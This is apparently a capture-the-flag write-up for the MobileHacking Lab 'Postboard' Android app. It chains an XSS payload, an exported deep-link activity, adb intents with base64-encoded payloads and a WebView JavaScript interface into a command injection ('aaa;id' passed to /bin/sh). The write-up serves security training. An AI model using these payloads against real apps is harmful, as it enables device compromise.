In this short write-up I will tell you how to solve one of the challenges on MobileHacking Lab website. Specifically Postboard lab for Android.

Application

We run the application and see that there is “Write your Markdown message here” field.

main

We’ve tried a couple different messages just to see what is going on. Exactly, <script> and <script>alert(1)</script>, which were not successful and the output was just a blank line. However, payload <img src=x onerror=alert(1)> showed a message displaying 1 .

image1

That is great. We can also see that whenever we put another payload the page stores them all and shows a bunch of 1 messages.

Code Analysis

Let’s look at the code and start from manifest. The app has exported activity

android:name="com.mobilehackinglab.postboard.MainActivity" android:exported="true">

and intent filter with scheme and host.

<action android:name="android.intent.action.VIEW"/>  
<category android:name="android.intent.category.DEFAULT"/>  
<category android:name="android.intent.category.BROWSABLE"/>  
<data android:scheme="postboard" android:host="postmessage"/>

Reviewing MainActivity discovered that setJavaScriptEnabled is true and we can run javascript, but we’ve seen that already. Also, there is webView.addJavascriptInterface(new WebAppInterface(), "WebAppInterface"); and addJavascriptInterface that is potentially harmful because of giving access to javascript objects in it.

We’ll keep that in mind and continue reviewing MainActivity. We can see that Uri data = intent.getData(); get some data from postboard://postmessage then decode the path from base64 using some replacements of single quote and then decoded path directly goes into message activityMainBinding2.webView.loadUrl("javascript:WebAppInterface.postMarkdownMessage('" + message + "')"); then we see it in the app. If something goes wrong we should get activityMainBinding.webView.loadUrl("javascript:WebAppInterface.postCowsayMessage('" + e.getMessage() + "')"); another output in the app.

Let’s verify it by crafting adb shell command.

adb shell am start -n "com.mobilehackinglab.postboard/.MainActivity" -a "android.intent.action.VIEW"  -d "postboard://postmessage/1"

image2

postmessage review

Great. This should be the second output postCowsayMessage. Let’s try to put the <img src=x onerror=alert(1)> in base64 echo "<img src=x onerror=alert(1)>" | base64

adb shell am start -n "com.mobilehackinglab.postboard/.MainActivity" -a "android.intent.action.VIEW" -d "postboard://postmessage/PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPgo="

image3

Great it works. Now let’s look at the interface WebAppInterface. In the file we can see @JavascriptInterface and getMessages clearCache postMarkdownMessage postCowsayMessage functions. Those are similar to the lines we have seen earlier. activityMainBinding2.webView.loadUrl("javascript:WebAppInterface.postMarkdownMessage('" + message + "')"); activityMainBinding.webView.loadUrl("javascript:WebAppInterface.postCowsayMessage('" + e.getMessage() + "')");

How can we use those functions?

Let’s try to use the whole structure in our payload. echo "<img src=x onerror=javascript:WebAppInterface.postCowsayMessage('aaa')>" | base64 We got nothing after first try, but the next one gave the desired outcome.

image4

Let’s review the cowfunction and see what’s inside.

Interestingly, CowsayUtil is responsible for the message that the cow says. Inside CowsayUtil we see the line, which is strange and has /bin/sh in it. It looks like we can try to pass a command in the cow message. String[] command = {"/bin/sh", "-c", CowsayUtil.scriptPath + ' ' + message};

Let’s try echo "<img src=x onerror=javascript:WebAppInterface.postCowsayMessage('aaa;id')>" | base64 Again. We see nothing from the first try and the actual output is visible on the second attempt. image5